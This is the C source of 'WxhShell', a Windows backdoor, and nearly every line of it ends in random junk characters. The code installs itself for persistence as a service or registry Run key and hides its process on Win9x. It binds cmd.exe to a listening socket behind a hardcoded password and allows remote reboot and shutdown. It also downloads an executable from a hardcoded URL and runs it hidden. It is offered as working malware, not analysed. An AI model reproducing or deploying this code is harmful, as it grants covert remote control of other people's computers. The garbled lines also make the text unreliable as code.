  case 'd': { [H=l# W@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *t bgIW+h  
    if(Boot(SHUTDOWN)) ekCt1^5Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wpf  
    else { gJg%3K~,  
    closesocket(wsh); T~naAP  
    ExitThread(0); I3A xK A  
    } asL!@YE  
    break; asJt 6C  
    } 0IxHB|^$  
  // 获取shell 3A'9=h,lVK  
  case 's': { K_}81|=  
    CmdShell(wsh); kPYQcOK8  
    closesocket(wsh); ]D@y""{--s  
    ExitThread(0); NC%)SG \  
    break; uWkuw5;  
  } v03 ^  
  // 退出 2$O6%0  
  case 'x': { \ocC'FmE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lTZcbaO?]  
    CloseIt(wsh); IRbZ ;*3dO  
    break; zJTSg  
    } tRXR/;3O  
  // 离开 gx=2]~O1(  
  case 'q': { Z`yW2ON$'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k-8$ 43  
    closesocket(wsh); \SA$:^zO  
    WSACleanup(); '_%`0p1  
    exit(1); .xg, j{%(  
    break; 2^fSC`!  
        } o%l|16DR  
  } !;B^\ 8{  
  } 4Dv42fO  
e2Df@8>  
  // 提示信息 3k* U/*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UP@-@syGw  
} 3t$)saQR  
  } htHnQ4Q  
(\ Gs7  
  return; z/t+t_y  
} N}7tjk   
/;xmM 2B'  
// shell模块句柄 nX-%qc"  
int CmdShell(SOCKET sock) 6Ej@;]^^-  
{ psAdYEGk!  
STARTUPINFO si; 84YZT+TEN  
ZeroMemory(&si,sizeof(si)); j~`rc2n%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q /^&si  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (C!33s1  
PROCESS_INFORMATION ProcessInfo; `"<tk1Kq"  
char cmdline[]="cmd"; Xw<Nnvz6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5E}~iC&  
  return 0; Wj#Gm  
} y3pr(w9A  
jl~?I*Gr  
// 自身启动模式 EFS2 zU  
int StartFromService(void) a%)-iL X8&  
{ $K*&Wdo  
typedef struct %SD=3UK6  
{ |csR"DOqz  
  DWORD ExitStatus; tS&rR0<OW  
  DWORD PebBaseAddress; 'U3+'du^8  
  DWORD AffinityMask; oN " /w~  
  DWORD BasePriority; i;8tA !  
  ULONG UniqueProcessId; m@^!?/as  
  ULONG InheritedFromUniqueProcessId; 4O** %!|  
}   PROCESS_BASIC_INFORMATION; PK|"+I0  
9?#L/  
PROCNTQSIP NtQueryInformationProcess; ({#M*=&"  
Vpsv@\@J>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <X1^w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8m;tgMFO  
FZ^j|2.L*  
  HANDLE             hProcess; U#U nM,3%  
  PROCESS_BASIC_INFORMATION pbi; a'2^kds  
c;pv< lX'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &o$Pwk\p/  
  if(NULL == hInst ) return 0; fG*366W  
#DFfySH)A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 27-GfC=7*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f/6,b&l,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kt3 ]r:&J  
jjrhl  
  if (!NtQueryInformationProcess) return 0; 'lD"{^  
`c~J&@|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *eonXJYD  
  if(!hProcess) return 0; k2cC:5Xf3  
U%nLo[k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vy7o}z`  
4]18=?r>  
  CloseHandle(hProcess); @?r[ $Ea1M  
oe{K0.`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^N\$oV$  
if(hProcess==NULL) return 0; c$ skLz  
1||\3L/  
HMODULE hMod; t/TWLhx/  
char procName[255]; X|w[:[P  
unsigned long cbNeeded; 3EN(Pz L  
Lradyo44u\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;9rS[$^$O  
2)zAX"#/  
  CloseHandle(hProcess); !ENDQ?1  
3</gK$f2  
if(strstr(procName,"services")) return 1; // 以服务启动 $|V@3`0  
Z>si%Npm\  
  return 0; // 注册表启动 }[>X}"_e  
} BrO" _  
= olmBXn/  
// 主模块 j aEUz5  
int StartWxhshell(LPSTR lpCmdLine) <_N<L\  
{ WQ1~9#  
  SOCKET wsl; EkvTl-  
BOOL val=TRUE; ;0c -+,  
  int port=0; Q`kJ3b   
  struct sockaddr_in door; |r%NMw #y  
v{[:7]b_=  
  if(wscfg.ws_autoins) Install(); /eO :1c  
y9xvGr[l  
port=atoi(lpCmdLine); 8*iIJ  
,&5\`  
if(port<=0) port=wscfg.ws_port; tvlrUp  
4{rqGC /  
  WSADATA data; O ;dtz\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W:gpcR]>  
3~o#1*->  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .*Mp+Q}^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0Kytg\p}  
  door.sin_family = AF_INET; NrK.DY4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EIrAq!CA  
  door.sin_port = htons(port); hRwj-N%C  
Qu;cl/&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R0A|} Ee*  
closesocket(wsl); NtfzAz/  
return 1; "-T[D9(A  
} A 6IrA/b  
Nm7YH@x*o  
  if(listen(wsl,2) == INVALID_SOCKET) { ("r\3Mvs  
closesocket(wsl); PptVneujI  
return 1; N|@jHx y  
} $&~moAl  
  Wxhshell(wsl); qC x|}5:  
  WSACleanup(); [`4  
>2t.7UhDI  
return 0; JuKG#F#,  
h0O t>e"  
} ~~\C.6c#  
#=g1V?D  
// 以NT服务方式启动 -Lhq.Q*a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DEw>f%&4  
{ !*1 $j7`tP  
DWORD   status = 0; NHL9qL"qk  
  DWORD   specificError = 0xfffffff; -^aJ}[uaI  
Cvp!(<<gK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U #C@&2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _1,hO?TK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4OaU1Y[  
  serviceStatus.dwWin32ExitCode     = 0; hGy[L3 {  
  serviceStatus.dwServiceSpecificExitCode = 0; W=:AOBK  
  serviceStatus.dwCheckPoint       = 0; 8g0VTY4$jP  
  serviceStatus.dwWaitHint       = 0; D){my_ /  
N<PDQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ({OQ JBC  
  if (hServiceStatusHandle==0) return; @9tzk [  
![i)_XO  
status = GetLastError(); y1)ZO_'  
  if (status!=NO_ERROR) ~ \]?5 nj  
{ @C|nc&E2s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D3B]  
    serviceStatus.dwCheckPoint       = 0; W#P`Y< u$  
    serviceStatus.dwWaitHint       = 0; )dd1B>ej]  
    serviceStatus.dwWin32ExitCode     = status; Kh$Q9$  
    serviceStatus.dwServiceSpecificExitCode = specificError; r~z'QG6v/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %s! |,Cu  
    return; h UC157  
  } q{ [!" ,  
p0[+Zm{#l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fX.1=BjXi  
  serviceStatus.dwCheckPoint       = 0; byFO^pce  
  serviceStatus.dwWaitHint       = 0; \xlG3nz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lSg[7lt  
} yQ)&u+r  
kuI~lBWI  
// 处理NT服务事件,比如:启动、停止 [j}JCmWY   
VOID WINAPI NTServiceHandler(DWORD fdwControl) o1vK2V  
{ [!De|,u(^  
switch(fdwControl) v\[+  
{ D4b-Y[/"  
case SERVICE_CONTROL_STOP: UE{$hLI?g  
  serviceStatus.dwWin32ExitCode = 0; Sx[ eX,q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q3<kr<SP  
  serviceStatus.dwCheckPoint   = 0; ua)jGif  
  serviceStatus.dwWaitHint     = 0; R_O=WmD  
  { o] Xt2E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O%3Hp.|!  
  } |r*)U(c`  
  return; lm6hFvEZ  
case SERVICE_CONTROL_PAUSE: d[>HxPwo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~o>Gm>5!HH  
  break; W#%s0EN<_  
case SERVICE_CONTROL_CONTINUE: ?!K6")SE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R8cOb*D  
  break; vQ L$.A3>  
case SERVICE_CONTROL_INTERROGATE: J\Hv42  
  break; HhL;64OYa  
}; qVKdc*R-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FieDESsX>  
} `sCn4-$8  
hJ$9Hb  
// 标准应用程序主函数 A#6zI NK#B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0'Si ^>bW  
{ NJ)Dw`|%|)  
hbOXR.0z  
// 获取操作系统版本 +Q[uq!<VJk  
OsIsNt=GetOsVer(); w`;HwK$ ,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SIV !8mz  
vjq2(I)u  
  // 从命令行安装 Z;%uDlcXI  
  if(strpbrk(lpCmdLine,"iI")) Install(); -?-XO<I  
00.x*v  
  // 下载执行文件 Jup)A`64  
if(wscfg.ws_downexe) {  #D4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ] \M+ju  
  WinExec(wscfg.ws_filenam,SW_HIDE); T#H^ }`  
} c7jmzo  
{Q3OT  
if(!OsIsNt) { SfnQW}RGI  
// 如果时win9x,隐藏进程并且设置为注册表启动 6,A|9UX=`  
HideProc(); N^dQX,j  
StartWxhshell(lpCmdLine); X>Vc4n<}  
} R7/S SuG6\  
else `R$i|,9 )  
  if(StartFromService()) 755,=U8'wi  
  // 以服务方式启动 @^<odmM  
  StartServiceCtrlDispatcher(DispatchTable); TIKkS*$  
else !1G KpL  
  // 普通方式启动 Y>8Qj+d  
  StartWxhshell(lpCmdLine); 8i154#l+\  
hhze5_$_  
return 0; "_q~S$i^  
} hO]F\0+  
tL$,]I$1+  
->rqr#  
3'Y-~^ml|  
=========================================== {+WBi(=W  
`9co7[Z  
x ;|HT  
gS5REC4I/  
c,xdkiy3  
]~aj  
" !+%gJiu:  
 u]Ku96!  
#include <stdio.h> He(65ciT<O  
#include <string.h> u%~'+=  
#include <windows.h> YGJ!!(~r  
#include <winsock2.h> |%C2 cx  
#include <winsvc.h> w.q`E@ T*  
#include <urlmon.h> }PBme'kP  
WT'-.UX m  
#pragma comment (lib, "Ws2_32.lib") ]p`y  
#pragma comment (lib, "urlmon.lib") J<0{3pZY  
eUcb e33  
#define MAX_USER   100 // 最大客户端连接数 t`Kpbfk  
#define BUF_SOCK   200 // sock buffer o8R_ Ojh  
#define KEY_BUFF   255 // 输入 buffer e,JBz~CK*w  
Wx:v~/r  
#define REBOOT     0   // 重启 ^2~ZOP$A  
#define SHUTDOWN   1   // 关机 2Mt$Dah  
~#E&E%sJ  
#define DEF_PORT   5000 // 监听端口 !|Q&4NS  
:}e<  
#define REG_LEN     16   // 注册表键长度 NV * 2  
#define SVC_LEN     80   // NT服务名长度 SaXt"Ju,AH  
G'\[dwD,u  
// 从dll定义API C}h(WOcr`X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ESCN/ocV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }|Qh+{H*.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M{J>yN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3gUY13C}:p  
z\m$>C|  
// wxhshell配置信息 JKZVd`fF  
struct WSCFG { G<?RH"RZr  
  int ws_port;         // 监听端口 6CyByj&  
  char ws_passstr[REG_LEN]; // 口令 th{f|fm62  
  int ws_autoins;       // 安装标记, 1=yes 0=no nLm'a_  
  char ws_regname[REG_LEN]; // 注册表键名 %unn{92)  
  char ws_svcname[REG_LEN]; // 服务名 jlBsm'M<m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z?+ )ox  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RnkV)ed(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z:-{Y2F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hoFgs9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g$uiwqNA%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xRWfZ3E#  
HIc;Lc8$  
}; 5;XC!Gz  
X"TL'"?fo  
// default Wxhshell configuration 2U[/"JL  
struct WSCFG wscfg={DEF_PORT, 8XH;<z<oJ  
    "xuhuanlingzhe", 2E-Kz?,:[  
    1, lf( +]k30  
    "Wxhshell", 'l/l]26rO4  
    "Wxhshell", (f&V 7n  
            "WxhShell Service", 1|p\rHGd  
    "Wrsky Windows CmdShell Service", ;-1KPDIp`  
    "Please Input Your Password: ", 16Qu{K  
  1, %72# tY  
  "http://www.wrsky.com/wxhshell.exe", vE[d& b[  
  "Wxhshell.exe" e)H FI|>  
    }; `lY-/Ty  
@g[ijs\  
// 消息定义模块 YHN6/k7H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4m\Cc_:jO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y;ey(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eYv^cbO@:  
char *msg_ws_ext="\n\rExit."; Ue9d0#9  
char *msg_ws_end="\n\rQuit."; 3mo<O}}  
char *msg_ws_boot="\n\rReboot..."; ?.,F3@W "  
char *msg_ws_poff="\n\rShutdown..."; PlCw,=K8f  
char *msg_ws_down="\n\rSave to "; GNW$:=0u  
~[!Tpq5  
char *msg_ws_err="\n\rErr!"; d*u3]&?x&f  
char *msg_ws_ok="\n\rOK!"; ~Xx}:@Ld  
(Tq)!h35B  
char ExeFile[MAX_PATH]; rv{Wti[  
int nUser = 0; F~v0CBcAL  
HANDLE handles[MAX_USER]; p_xJ KQS  
int OsIsNt; c:=HN-*vQ  
fbI5!i#lz  
SERVICE_STATUS       serviceStatus; VnN(lJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;- i)}<  
}Q[U4G  
// 函数声明 k Jz^\Re  
int Install(void); g1XpERsSEV  
int Uninstall(void); \V~B+e  
int DownloadFile(char *sURL, SOCKET wsh); 0]ai*\,W7~  
int Boot(int flag); y@}WxSK*0  
void HideProc(void); 1&h\\&ic  
int GetOsVer(void); QfjoHeG7  
int Wxhshell(SOCKET wsl); t^bh2 $J  
void TalkWithClient(void *cs); Z{u]qI{l  
int CmdShell(SOCKET sock); L]YJ#5  
int StartFromService(void); N/C$8D34  
int StartWxhshell(LPSTR lpCmdLine); k'v+/6 Y  
[g==#[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 JlM{N6+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -4Q\FLC'k  
k(`>(w  
// 数据结构和表定义 (;Bh7Ft  
SERVICE_TABLE_ENTRY DispatchTable[] = k-4z2qB  
{  v?d`fd  
{wscfg.ws_svcname, NTServiceMain}, HII@Ed f?  
{NULL, NULL} r{* Qsaw  
}; 4tkb7D q  
}w=|"a|,  
// 自我安装 9r:|u:i7m  
int Install(void) Ct(^nn$A  
{ -{oZK{a1  
  char svExeFile[MAX_PATH]; a/CY@V-  
  HKEY key; ^Ux.s Q  
  strcpy(svExeFile,ExeFile); C,O9?t  
MO1H?U hx  
// 如果是win9x系统,修改注册表设为自启动 jJ RaY3  
if(!OsIsNt) { [IyC}lSW^-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^S|}<6~6b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  >YdLB@  
  RegCloseKey(key); n-?zH:]GG{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A(XX2f!i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \R 3O39[  
  RegCloseKey(key); =OrVaZ0  
  return 0; kB?Uw#  
    } Eg4&D4TG p  
  } fDXTedrG/  
} Dz$dJF1 8  
else { eOb)uIF  
&[ |Z2}  
// 如果是NT以上系统,安装为系统服务 V\c`O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ubKp P%Z  
if (schSCManager!=0) ;Rxc(tR!n  
{ P#:nXc$  
  SC_HANDLE schService = CreateService dM -<aq  
  ( X=jD^"-  
  schSCManager, OJFWmZ(X  
  wscfg.ws_svcname, K,bX<~e5  
  wscfg.ws_svcdisp, ;b|=osyT\  
  SERVICE_ALL_ACCESS, Nah\4-75&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <pFbm  
  SERVICE_AUTO_START, Fbw.Y6  
  SERVICE_ERROR_NORMAL, R_80J=%0  
  svExeFile, dA#'HMh@  
  NULL, z wn#E  
  NULL, Lu71Qdu09  
  NULL, t#!AfTY$w  
  NULL, (2 P&@!|  
  NULL Jg&f.  
  ); tt&{f <*  
  if (schService!=0) 0,cU^HMA  
  { S""F58 H n  
  CloseServiceHandle(schService); Sq`Zuu9t  
  CloseServiceHandle(schSCManager); 0Y!~xyg/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); US<l4  
  strcat(svExeFile,wscfg.ws_svcname); 8%Ak   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F_iZ|B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rj29$d?Y9  
  RegCloseKey(key); S`h yRw  
  return 0; i@=(Y~tD`  
    } ;IT'6m`@W  
  } [1e/@eC5  
  CloseServiceHandle(schSCManager); &!>.)I`  
} Q^'xVS_.  
} CSzu $Hnq  
}?6gj%$c  
return 1; yi<H }&  
} IRsyy\[kp8  
fKkS_c 2  
// 自我卸载 X|Nb8 1M  
int Uninstall(void) ]_m(q`_  
{ 6"2IV  
  HKEY key; (Wn^~-`=+  
: TP\pH7E  
if(!OsIsNt) { s[t?At->  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FY,)iZ}Pq  
  RegDeleteValue(key,wscfg.ws_regname); i@ehD@.dH  
  RegCloseKey(key); &3 x [0DV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L}t P_ *  
  RegDeleteValue(key,wscfg.ws_regname); EuKkIr/(  
  RegCloseKey(key); <@>l9_=R  
  return 0; :!wt/Y  
  } 3oPyh $*  
} v+DXs!O{  
} \[]4rXZN0  
else { 2zkO s:  
o}Q3mCB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3 t+1M  
if (schSCManager!=0) :d|~k  
{ -T>i5'2)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1-s G`%  
  if (schService!=0) (~?p`g+I.P  
  { G^le91$  
  if(DeleteService(schService)!=0) { *~`BG5w  
  CloseServiceHandle(schService); Upz?x{>x  
  CloseServiceHandle(schSCManager); Bm +Ca:p%  
  return 0; 9[:TWvd  
  } Fzy5k?R  
  CloseServiceHandle(schService); SnY{|  
  } |Zdl[|kX  
  CloseServiceHandle(schSCManager); 1;~| [C  
} kTm}VTr 1  
} ,:qk+  
CsN^u H  
return 1; Yb%#\.M/y  
} #cqI0ny?G  
D=}\]Krmay  
// 从指定url下载文件 U.N?cKv  
int DownloadFile(char *sURL, SOCKET wsh) y N,grU(  
{ *$@u`nM  
  HRESULT hr; kG`&Z9P  
char seps[]= "/"; @DSKa`  
char *token; rbrh;\<jM  
char *file; 0xfF  
char myURL[MAX_PATH]; $t0JfDd6Ky  
char myFILE[MAX_PATH]; . Gb!mG  
WF<3 7"A@  
strcpy(myURL,sURL); 4u#TKr.  
  token=strtok(myURL,seps); =X7_!vSv  
  while(token!=NULL) }d%Fl}.Ez  
  { gmZ] E45  
    file=token; R1(3c*0f  
  token=strtok(NULL,seps); T@a|*.V  
  } /dHIm`. Z  
)T^xDx  
GetCurrentDirectory(MAX_PATH,myFILE); #@F.wV0  
strcat(myFILE, "\\"); $dG:29w  
strcat(myFILE, file); @4n>I+6*&  
  send(wsh,myFILE,strlen(myFILE),0); ;3o7>yEv  
send(wsh,"...",3,0); DKF '*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %^[D+1ULb  
  if(hr==S_OK) wOsg,p;\'  
return 0; } |  
else &^l(RBp]0  
return 1; Zn[ppsz|  
>T-4!ZvS\j  
} 1x%B`d  
2OQ\ z;s  
// 系统电源模块 uF<?y0t  
int Boot(int flag) tHK>w%|\R  
{ ]J@-,FFC  
  HANDLE hToken; %`YR+J/V  
  TOKEN_PRIVILEGES tkp; Sb(OG 6  
P>(FCX  
  if(OsIsNt) { kpxGC,I^*.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8|zOgn{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %r8;i  
    tkp.PrivilegeCount = 1; +}PN+:yV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  :>U+HQll  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T"<)B^8f  
if(flag==REBOOT) { Xj~%kPe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CP0'pL=;  
  return 0; B9Hib1<8  
} _*MK"  
else { B{*{9!(l9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5DVYHN9c|  
  return 0; PcqS#!t  
} " m13HS  
  } `.J17mQe"  
  else { z+-o}i  
if(flag==REBOOT) { x0WinLQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &} { #g  
  return 0; } !y5hv!_  
} cnI5 G!  
else { t"Ah]sD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &{UqGD#1&  
  return 0; gn&Zt}@[  
} 5OzEY7K)  
} dDIR~ !T  
.6xMLo,R  
return 1; {_/o' 6  
} ^'a#FbMtt  
Gx6%Z$2n  
// win9x进程隐藏模块 ts9wSx~[+  
void HideProc(void) H!&_Tv[  
{ t%%()!|)j  
oQObr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); se`Eez}  
  if ( hKernel != NULL ) J=k=cFUX  
  { t ^[fu,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %,~?;JAj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =$fz</S=J  
    FreeLibrary(hKernel); &Jc atI  
  } !ltq@8#_|  
?_i >Kx  
return; I<ohh`.  
} <r.QS[:h  
d?T!)w  
// 获取操作系统版本 \yC/OLXq  
int GetOsVer(void) r9OgezER  
{ %l!?d`?  
  OSVERSIONINFO winfo; [`t ;or  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kM{8zpn  
  GetVersionEx(&winfo); 7XK0vKmW3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RYjK4xT?Y/  
  return 1; tP7<WGHd/  
  else OtmDZ.t;`  
  return 0; XFvl  
} kuD$]A Q`&  
t4[q :[1  
// 客户端句柄模块 &h5Y_no GX  
int Wxhshell(SOCKET wsl) Z17b=x Jw  
{ %DYh<U4N  
  SOCKET wsh; nOvR, 6  
  struct sockaddr_in client; <D~hhGb  
  DWORD myID; hdH z", )  
[ gMn  
  while(nUser<MAX_USER) TZ5TkE;1  
{ ZBK0`7#&EH  
  int nSize=sizeof(client); ={sjoMW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YWl#!"-  
  if(wsh==INVALID_SOCKET) return 1; g"1V ]  
jez0 A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XGR2L DR  
if(handles[nUser]==0) w;`Jj -  
  closesocket(wsh); Rz g;GH  
else k`8O/J  
  nUser++; B_Q{B|eEt&  
  } \+%~7Bi]z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aC\f;&P >  
KtL?,zi  
  return 0; qqf`z,u  
} 0BlEt1e2T  
< -`.u`  
// 关闭 socket ,s#~00C|  
void CloseIt(SOCKET wsh) vS>'LX  
{ ES&u*X:  
closesocket(wsh); E=ijt3  
nUser--; .Rk8qRB  
ExitThread(0); I]v2-rB&-  
} l5{60$g  
i *.Y  
// 客户端请求句柄 ='o3<}  
void TalkWithClient(void *cs) i"0Bc{cQ  
{ ?l/6DT>e  
LUMbRrD-  
  SOCKET wsh=(SOCKET)cs; O D}RnKL  
  char pwd[SVC_LEN]; Y7}Tuy dC  
  char cmd[KEY_BUFF]; g %f5hy  
char chr[1]; .P)lQk\  
int i,j; = UH3.  
kWXLncE  
  while (nUser < MAX_USER) { 9E2iZt]  
v.-DXQq  
if(wscfg.ws_passstr) { 3Tl<ST\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #{q.s[g*+1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e Wux  
  //ZeroMemory(pwd,KEY_BUFF); XGx[Ny_A2  
      i=0; (?r,pAc:  
  while(i<SVC_LEN) { Qu61$!  
P }sr  
  // 设置超时 k."p&  
  fd_set FdRead; {|?^@  
  struct timeval TimeOut; 2IJK0w@  
  FD_ZERO(&FdRead); 5g7@Dj,.  
  FD_SET(wsh,&FdRead); <=*f  
  TimeOut.tv_sec=8; 'E_~ |C  
  TimeOut.tv_usec=0; FOXSs8"c]!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1#A$&'&\J;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %qoS(iO`h  
' P?h?w^T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +-!E% $  
  pwd=chr[0]; rm[C{Pn  
  if(chr[0]==0xd || chr[0]==0xa) { WA`A/`taT  
  pwd=0; M|*YeVs9#  
  break; bE_8NA"2  
  } ;o9h|LRs  
  i++; 7Z6=e6/\  
    } wh8';LZ>R  
yq%5h[M  
  // 如果是非法用户,关闭 socket h:?^0b!@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?_NKyiu95  
} RuPnWx!  
R/+$ :  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o!M8V ^vW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3 _  
p%Z:SZZ  
while(1) { %j7b0pb  
za_b jE  
  ZeroMemory(cmd,KEY_BUFF); G!q[NRu  
^#Ii=K-[^  
      // 自动支持客户端 telnet标准   |bY@HpMp  
  j=0; _?tpO61g>  
  while(j<KEY_BUFF) { Y sM*d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o`bc/3!  
  cmd[j]=chr[0]; }t H$:Z  
  if(chr[0]==0xa || chr[0]==0xd) { mO>L]<O  
  cmd[j]=0;  &9y Zfp  
  break; y)G-6sZ/  
  } U2 *ORd  
  j++; k#].nQG  
    } $YSXE :  
-YA,Stc-  
  // 下载文件 @aIgif+v  
  if(strstr(cmd,"http://")) { Rf:.'/<^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HlGSt$woX  
  if(DownloadFile(cmd,wsh)) 3!CUJs/W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8dczC  
  else M8/a laoT  
